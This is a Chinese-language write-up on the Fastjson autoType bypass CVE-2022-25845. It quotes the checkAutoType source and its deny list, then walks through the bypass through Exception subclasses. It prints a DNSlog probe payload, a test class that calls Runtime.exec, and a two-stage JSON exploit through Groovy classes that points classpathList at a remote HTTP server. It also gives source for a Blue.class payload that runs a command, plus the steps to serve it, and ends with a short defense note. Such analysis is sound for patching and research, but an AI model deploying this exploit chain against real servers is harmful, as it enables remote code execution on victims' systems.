前言:
针对Fastjson之前已经介绍了,这里就不再重复了,漏洞CVE-2017-18349只能用来攻击>=1.2.24版本的,CVE-2022-25845属于CVE-2017-18349的升级版,但是目前仅影响到1.2.83以下版本。CVE-2022-25845本质上是绕过了名单限制,下面我们来了解下该漏洞。
代码分析:
针对CVE-2017-18349的防御是添加了checkAutoType方法进行防御,下面我们先看看该代码:
com.alibaba.fastjson.parser.ParserConfig.checkAutoType
代码如下:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
其中有两个地方进行了防御:
首先第一处是设置了黑名单,如果反射的class位于黑名单中会直接异常:
设置的黑名单如下:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
当位于黑名单中,无论autoTypeSupport是否为true都会返回异常
第二处就是针对autoTypeSupport的校验,当其为false的时候,会直接返回异常
所以说要是想要执行,必须能够进入到return clazz代码,下面我们逐个分析下哪个有可能:
这里可以看到有两处会返回clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName); clazz = this.deserializers.findClass(typeName);
针对第一处我们看看什么情况下会返回clazz
可以看到如下方法可以被返回
复制出来共有86个如下:
mappings = {ConcurrentHashMap@6710} size = 86
"java.awt.Color" -> {Class@7347} "class java.awt.Color"
"[char" -> {Class@351} "class [C"
"java.lang.IllegalStateException" -> {Class@4775} "class java.lang.IllegalStateException"
"java.lang.IndexOutOfBoundsException" -> {Class@6946} "class java.lang.IndexOutOfBoundsException"
"java.sql.Time" -> {Class@6842} "class java.sql.Time"
"java.lang.NoSuchMethodException" -> {Class@700} "class java.lang.NoSuchMethodException"
"java.util.Collections$EmptyMap" -> {Class@222} "class java.util.Collections$EmptyMap"
"java.util.Date" -> {Class@1172} "class java.util.Date"
"java.awt.Point" -> {Class@7356} "class java.awt.Point"
"[boolean" -> {Class@352} "class [Z"
"float" -> {Class@6689} "float"
"java.lang.AutoCloseable" -> {Class@289} "interface java.lang.AutoCloseable"
"java.lang.NullPointerException" -> {Class@264} "class java.lang.NullPointerException"
"java.lang.NoSuchFieldError" -> {Class@699} "class java.lang.NoSuchFieldError"
"java.lang.NoSuchFieldException" -> {Class@3987} "class java.lang.NoSuchFieldException"
"java.util.concurrent.atomic.AtomicInteger" -> {Class@187} "class java.util.concurrent.atomic.AtomicInteger"
"java.util.Locale" -> {Class@40} "class java.util.Locale"
"java.lang.InstantiationException" -> {Class@6986} "class java.lang.InstantiationException"
"java.lang.InternalError" -> {Class@354} "class java.lang.InternalError"
"java.lang.SecurityException" -> {Class@1609} "class java.lang.SecurityException"
"[int" -> {Class@346} "class [I"
"[double" -> {Class@349} "class [D"
"java.lang.Cloneable" -> {Class@335} "interface java.lang.Cloneable"
"java.lang.IllegalAccessException" -> {Class@6961} "class java.lang.IllegalAccessException"
"java.util.IdentityHashMap" -> {Class@380} "class java.util.IdentityHashMap"
"java.lang.LinkageError" -> {Class@325} "class java.lang.LinkageError"
"byte" -> {Class@7375} "byte"
"double" -> {Class@7377} "double"
"java.awt.Font" -> {Class@7379} "class java.awt.Font"
"java.sql.Timestamp" -> {Class@7050} "class java.sql.Timestamp"
"java.util.concurrent.ConcurrentHashMap" -> {Class@36} "class java.util.concurrent.ConcurrentHashMap"
"java.lang.StringIndexOutOfBoundsException" -> {Class@7130} "class java.lang.StringIndexOutOfBoundsException"
"java.util.UUID" -> {Class@6682} "class java.util.UUID"
"java.lang.Exception" -> {Class@330} "class java.lang.Exception"
"java.lang.IllegalAccessError" -> {Class@6803} "class java.lang.IllegalAccessError"
"com.alibaba.fastjson.JSONObject" -> {Class@6429} "class com.alibaba.fastjson.JSONObject"
"java.awt.Rectangle" -> {Class@7387} "class java.awt.Rectangle"
"java.lang.StackOverflowError" -> {Class@320} "class java.lang.StackOverflowError"
"[B" -> {Class@348} "class [B"
"java.lang.TypeNotPresentException" -> {Class@6858} "class java.lang.TypeNotPresentException"
"[C" -> {Class@351} "class [C"
"[D" -> {Class@349} "class [D"
"java.text.SimpleDateFormat" -> {Class@1131} "class java.text.SimpleDateFormat"
"java.util.HashMap" -> {Class@206} "class java.util.HashMap"
"[F" -> {Class@350} "class [F"
"long" -> {Class@6675} "long"
"[I" -> {Class@346} "class [I"
"java.util.TreeSet" -> {Class@584} "class java.util.TreeSet"
"[short" -> {Class@347} "class [S"
"[J" -> {Class@345} "class [J"
"java.lang.VerifyError" -> {Class@6941} "class java.lang.VerifyError"
"java.util.LinkedHashMap" -> {Class@95} "class java.util.LinkedHashMap"
"java.util.HashSet" -> {Class@365} "class java.util.HashSet"
"java.lang.IllegalMonitorStateException" -> {Class@319} "class java.lang.IllegalMonitorStateException"
"[byte" -> {Class@348} "class [B"
"java.util.Calendar" -> {Class@1145} "class java.util.Calendar"
"[S" -> {Class@347} "class [S"
"java.lang.StackTraceElement" -> {Class@1523} "class java.lang.StackTraceElement"
"java.lang.NoClassDefFoundError" -> {Class@1654} "class java.lang.NoClassDefFoundError"
"java.util.Hashtable" -> {Class@304} "class java.util.Hashtable"
"java.util.WeakHashMap" -> {Class@180} "class java.util.WeakHashMap"
"java.util.LinkedHashSet" -> {Class@915} "class java.util.LinkedHashSet"
"[Z" -> {Class@352} "class [Z"
"java.lang.NegativeArraySizeException" -> {Class@6891} "class java.lang.NegativeArraySizeException"
"java.lang.IllegalThreadStateException" -> {Class@7103} "class java.lang.IllegalThreadStateException"
"[long" -> {Class@345} "class [J"
"java.lang.NoSuchMethodError" -> {Class@210} "class java.lang.NoSuchMethodError"
"java.lang.NumberFormatException" -> {Class@4340} "class java.lang.NumberFormatException"
"java.lang.RuntimeException" -> {Class@329} "class java.lang.RuntimeException"
"java.lang.IllegalArgumentException" -> {Class@64} "class java.lang.IllegalArgumentException"
"int" -> {Class@7422} "int"
"java.sql.Date" -> {Class@7066} "class java.sql.Date"
"java.util.concurrent.TimeUnit" -> {Class@1262} "class java.util.concurrent.TimeUnit"
"java.util.concurrent.atomic.AtomicLong" -> {Class@103} "class java.util.concurrent.atomic.AtomicLong"
"java.util.concurrent.ConcurrentSkipListMap" -> {Class@4650} "class java.util.concurrent.ConcurrentSkipListMap"
"boolean" -> {Class@6694} "boolean"
"java.util.concurrent.ConcurrentSkipListSet" -> {Class@4647} "class java.util.concurrent.ConcurrentSkipListSet"
"java.util.TreeMap" -> {Class@163} "class java.util.TreeMap"
"java.lang.InstantiationError" -> {Class@6840} "class java.lang.InstantiationError"
"java.lang.InterruptedException" -> {Class@230} "class java.lang.InterruptedException"
"[float" -> {Class@350} "class [F"
"char" -> {Class@7434} "char"
"short" -> {Class@6691} "short"
"java.lang.Object" -> {Class@344} "class java.lang.Object"
"java.util.BitSet" -> {Class@18} "class java.util.BitSet"
"java.lang.OutOfMemoryError" -> {Class@321} "class java.lang.OutOfMemoryError"
第二处 deserializers可以看到有如下方法:
具体有很多类型,这里就不进行罗列;
然后第二处如下,这里是获取用户设置的白名单
第三处如下,第三处想被调用需要满足checkAutoType的第二个参数不能为空或者autoTypeSupport为true
最后一处就是autoTypeSupport为true的情况下,当不满足上面任意一个选项的时候会进行调用。
对上面四处分析可以发现正常情况下程序员不会把autoTypeSupport设置为false,但是利用前两个我们可以绕过autoTypeSupport的校验,但是要想反射我们指定的方法,则还是需要配合第三处,通过继承指定的方法完成,下面我们分别进行测试下:
首先我们测试第二个,我们发现如下方法位于名单中,那我们测试使用该方法可否绕过
java.net.InetSocketAddress
发送如下poc
{"name":{
"@type":"java.net.InetSocketAddress",
"val":"0u3967.dnslog.cn"
},
"age":30
}
执行后发现成功返回java.net.InetSocketAddress,并最后进入到return clazz中被反射,进而绕过了autoTypeSupport
下面同样的我们测试第一处,使用名单中的java.lang.Exception,同样绕过了autoTypeSupport限制
知道了怎么绕过autoTypeSupport,但是我们只能调用反射名单中的类,这样没办法利用,打个DNSLOG也没什么意思,这个时候就要配合利用第三处加载两次我们的反射类即可,这里着重先看下关键的几个地方:
代码位于如下:
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
进入getDeserializer方法需要注意,这里我们知道利用的是java.lang.Exception,所以我们这里就基于这个进行讲解,由于第一次调用内部列表中没有java.lang.Exception,所以会先调用下面的getDeserializer方法将java.lang.Exception和对应的继承类型放入列表中,后面调用就可以直接返回该方法和继承类:
最后添加的 java.lang.Exception和对应的处理方法到列表中:
最后通过获取上面的列表得到具体的处理方法:
然后会进入class com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer中处理:
重点来了,再 ThrowableDeserializer的deserialze处理方法中获取到第二个@type内容并作为参数调用了checkAutoType方法,这样我们就可以调用我们自己的方法,但是这里有一个需要注意,就是我们调用的方法也要继承Throwable:
这里我们可以尝试调用一个其他的方法
执行后发现其最后调用class com.alibaba.fastjson.serializer.MiscCodec,但是其中的deserialze方法并没有调用checkAutoType,因此只有特定的方法可以:
对源码查看发现具体的不同类的处理方法位于如下列表代码中:
com.alibaba.fastjson.parser.deserializer
查找共发现四处可以调用checkAutoType:
JavaBeanDeserializer: userType = parser.getConfig().checkAutoType(typeName, expectClass, lexer.getFeatures()); AbstractDateDeserializer Class<?> type = parser.getConfig().checkAutoType(typeName, (Class)null, lexer.getFeatures()); MapDeserializer: clazz = config.checkAutoType(typeName, (Class)null, lexer.getFeatures()); ThrowableDeserializer exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
再看看checkAutoType对参数的要求:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)
其中autoTypeSupport和jsonType我们没办法设置为true,所以expectClassFlag要求不能为空,则AbstractDateDeserializer和MapDeserializer无法利用,仅剩JavaBeanDeserializer和ThrowableDeserializer
下面就需要确定哪些方法可以最终调用到ThrowableDeserializer或者JavaBeanDeserializer,这里就需要关注
com.alibaba.fastjson.parser.ParserConfig的getDeserializer方法
可以看到当为Throwable或者不属于上述任何一个类型即可分别进入 ThrowableDeserializer或者JavaBeanDeserializer中,ThrowableDeserializer较为简单,直接以ThrowableDeserializer测试:
首先编写测试代码:
测试代码如下:
package org.example.controller;
import java.io.IOException;
public class mytest extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
代码中需要注意,需要继承 Exception ,不然无法通过类型检测,具体的检测后面会讲解:
攻击代码:
{
"@type": "java.lang.InternalError",
"@type": "org.example.controller.mytest",
"name": "calc.exe"
}
进入checkAutoType中调用参数如下:
此处会对类型进行校验,如果不相同会报错,这就是为什么必须继承Exception
最后调用我们自己添加的类弹出计算器
上述就是大致的利用思路,然后我们看看网上公布的利用链,进行分析
利用:
网上利用链如下,需要分两步:
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:1111/"
}
}
下面我们先代码大概分析下调用思路
首先需要知道我们真正想要利用的点为
org.codehaus.groovy.control.CompilationUnit方法为addPhaseOperations的ASTTransformationVisitor.addPhaseOperations(this);
进而实现加载远程代码,但是要如果设置上加载的远程地址和如何最终调用,攻击利用很巧妙,我们下面进行分析:
首先我们需要先利用Exception加载我们需要的类,我们先要找到一个继承了Exception的类,并且调用了我们需要加载的方法:
发现org.codehaus.groovy.control.CompilationFailedException符合我们的需求,其中需要调用我们需要加载的org.codehaus.groovy.control.ProcessingUnit
当发送了上述的poc,可以成功的将org.codehaus.groovy.control.CompilationFailedException和org.codehaus.groovy.control.ProcessingUnit加入到名单中,可以绕过校验。
这样org.codehaus.groovy.control.ProcessingUnit就成功的绕过了检测,下面就可以发送第二个poc了,首先我们看看org.codehaus.groovy.tools.javac.JavaStubCompilationUnit类型:
可以看到 JavaStubCompilationUnit继承自ProcessingUnit,所以org.codehaus.groovy.tools.javac.JavaStubCompilationUnit也可以绕过检测被加载到名单中:
查看其调用参数:
可以看到其第一个参数为 org.codehaus.groovy.control.CompilerConfiguratio,所以会调用到org.codehaus.groovy.control.CompilerConfiguration方法
这样我们就可以利用 CompilerConfiguration的setClasspathList方法来设置远程服务器地址了:
设置完地址后回回到JavaStubCompilationUnit方法,并调用如下代码:
super(config, (CodeSource)null, gcl);
这样就会调用到父类CompilationUnit方法:
然后又会调用父进程ProcessingUnit:
super(configuration, loader, (ErrorCollector)null);
setClassLoader中调用了GroovyClassLoader:
return new GroovyClassLoader(parent, this.getConfiguration());
此处将地址添加到了Groovy远程地址中:
添加完成后回到CompilationUnit方法中,然后就会调用到addPhaseOperations方法:
然后会调用addPhaseOperations中的ASTTransformationVisitor方法:
ASTTransformationVisitor.addPhaseOperations(this);
进入addGlobalTransformsAfterGrab代码可以看到此处加载远程META-INF/services/org.codehaus.groovy.transform.ASTTransformation代码:
Enumeration<URL> globalServices = transformLoader.getResources("META-INF/services/org.codehaus.groovy.transform.ASTTransformation");
访问远程服务器文件:
读取文件内容获取classname为Blue:
最后调用addPhaseOperationsForGlobalTransforms方法完成实列化:
利用:
利用需要先新建目录\META-INF\services\并新建文件org.codehaus.groovy.transform.ASTTransformation,其中添加我们要加载的类,这里按照POC走Blue
然后使用javac编译如下java代码为Blue.class
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
import java.io.IOException;
@GroovyASTTransformation
public class Blue implements ASTTransformation {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
}
}
然后搭建服务器:
python -m http.server 8013
然后依次发送两个poc,可以成功执行我们远程代码:
攻击链非常巧妙,其主要核心思想是利用Groovy 编译器加载远程代码,利用了java.lang.Exception过滤漏洞实现了对任意类的加载最终导致命令执行;
防御:
1.2.80后已经可以进行防御,看了下83的代码防御简单粗暴,针对Exception和Error进行了过滤,阻止了Exception的加载
总结:
针对1.2.83以下的版本虽然1.2.24后虽然添加了checkAutoType检测,但是忽略了针对Exception和Error的过滤导致了使用该类可以通过Groovy实现远程方法加载,漏洞不复杂,但是利用Groovy实现远程类的加载还是很有意思,感兴趣的可以深挖下看看有没有其他调用链玩